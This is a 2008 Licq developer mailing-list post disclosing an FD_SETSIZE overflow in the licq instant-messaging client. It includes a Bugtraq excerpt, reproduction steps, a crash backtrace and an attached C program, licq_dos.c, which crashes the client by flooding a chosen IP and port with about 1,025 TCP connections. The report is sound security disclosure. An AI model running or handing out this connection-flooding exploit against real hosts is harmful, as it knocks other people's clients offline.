[Licq-devel] Security hole and possible DOS attack in Licq client.

"Ladislav Michnovič" <[email protected]> Thu, 17 Apr 2008 18:03:22 +0200
Newsgroups gmane.network.licq.devel
Message-ID <[email protected]>
Hello.

Licq has a vulnerability and possible security hole. The problem is
described here http://securityvulns.ru/docs7669.html.
quoting from bugtraq

[... in  case  of  licq  there  is  no check for socket() number to be below
 FD_SETSIZE  and  it  leads  to  potentially  exploitable situation very
 similar  to  off-by-one  overflow  in  icqd-filetransfer.cpp, where one
 (easy) of few (harder) bits on the stack may be controlled by attacker,
 in this situation:

void *FileTransferManager_tep(void *arg)
{
  CFileTransferManager *ftman = (CFileTransferManager *)arg;

  fd_set f_recv, f_send;

....

    nSocketsAvailable = select(l, &f_recv, &f_send, NULL, tv);


attacker  can  partially  control  ftman  pointer (and may be even saved
ebp/eip), code execution is not something absolutely impossible.]

HOW TO REPRODUCE:
compile the attached expolit.
Run licq and discover which port is licq listening on:
lsof |grep licq |grep LISTEN
licq      29181 lmichnovic   11u     IPv4            4595400
      TCP *:24500 (LISTEN)

run compiled exploit:
./a.out 127.0.0.1 24500
(the last number is the port number)

You have to wait till approx 1020 sockets are opened and then licq
crashes (tested on licq from svn 20080410):

Licq Segmentation Violation Detected.
licq(licq_handle_sigabrt+0x2c5) [0x4b0ab5]
/lib64/libc.so.6 [0x2b58b791abd0]
/lib64/libc.so.6(gsignal+0x35) [0x2b58b791ab45]
/lib64/libc.so.6(abort+0x110) [0x2b58b791c0e0]
licq [0x4b0d4a]
/lib64/libc.so.6 [0x2b58b791abd0]
licq(_ZN10CSocketSet3SetEi+0x39) [0x4599f9]
licq(_Z18MonitorSockets_tepPv+0x506) [0x4850a6]
/lib64/libpthread.so.0 [0x2b58b6926020]
/lib64/libc.so.6(clone+0x6d) [0x2b58b79aef8d]
Attempting to generate core file.

*** glibc detected *** licq: free(): invalid pointer: 0x000000000080b790 ***
======= Backtrace: =========
/lib64/libc.so.6[0x2b58b795821d]
/lib64/libc.so.6(cfree+0x76)[0x2b58b7959f76]
licq(_ZN10CPluginLog8ClearLogEv+0x34)[0x49c174]
/usr/lib64/licq/licq_qt-gui.so(_ZN12CQtLogWindow8slot_logEi+0x95)[0x2b58b7f684c5]
/usr/lib64/licq/licq_qt-gui.so(_ZN12CQtLogWindow9qt_invokeEiP8QUObject+0x6b)[0x2b58b7f6865b]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN7QObject15activate_signalEP15QConnectionListP8QUObject+0x14c)[0x2b58b87dfe9c]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN7QObject15activate_signalEii+0x134)[0x2b58b87e0554]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN15QSocketNotifier5eventEP6QEvent+0x3b)[0x2b58b87f9f7b]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN12QApplication14internalNotifyEP7QObjectP6QEvent+0xcd)[0x2b58b878970d]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN12QApplication6notifyEP7QObjectP6QEvent+0x98)[0x2b58b878a428]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN10QEventLoop23activateSocketNotifiersEv+0xe3)[0x2b58b877f4d3]
/usr/lib/qt3/lib64/libqt-mt.so.3(_ZN10QEventLoop13processEventsEj+0x644)[0x2b58b873f884]
Canceled

------------------------
 Regards Ladislav.

-------------------------------------------------------------------------
This SF.net email is sponsored by the 2008 JavaOne(SM) Conference 
Don't miss this year's exciting event. There's still time to save $100. 
Use priority code J8TL2D2. 
http://ad.doubleclick.net/clk;198757673;13503038;p?http://java.sun.com/javaone

_______________________________________________
Licq-devel mailing list
[email protected]
https://lists.sourceforge.net/lists/listinfo/licq-devel
licq_dos.c (text/plain, 1 KB)
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// change to suit your needs
#define MAX 1025

int fds[MAX];

int main(int argc, char *argv[])
{
    int port,a, err;
    char host[15];
    struct sockaddr_in victim;

    if (argc!=3)
    {
        printf("usage: %s <ip> <port>\n",argv[0]);
        exit(1);
    }

    port=atoi(argv[2]);
    strcpy(host,argv[1]);
    printf("ip=%s\n",host);

    for (a=1;a<=MAX;a++)
    {
        fds[a]=socket(PF_INET,SOCK_STREAM,0);
        victim.sin_family= AF_INET;
        victim.sin_port=htons(port);
        inet_aton(host,&victim.sin_addr);
        err =connect(fds[a],&victim,sizeof(victim));
        if ( 0 == err )
	{
         printf("opening another socket: %d sockets already opened \n", a);
	}
	else {
         printf("Can't open a socket. Have entered correct port number?\n");
	}
    }

    printf("done!\n");

return 0;
}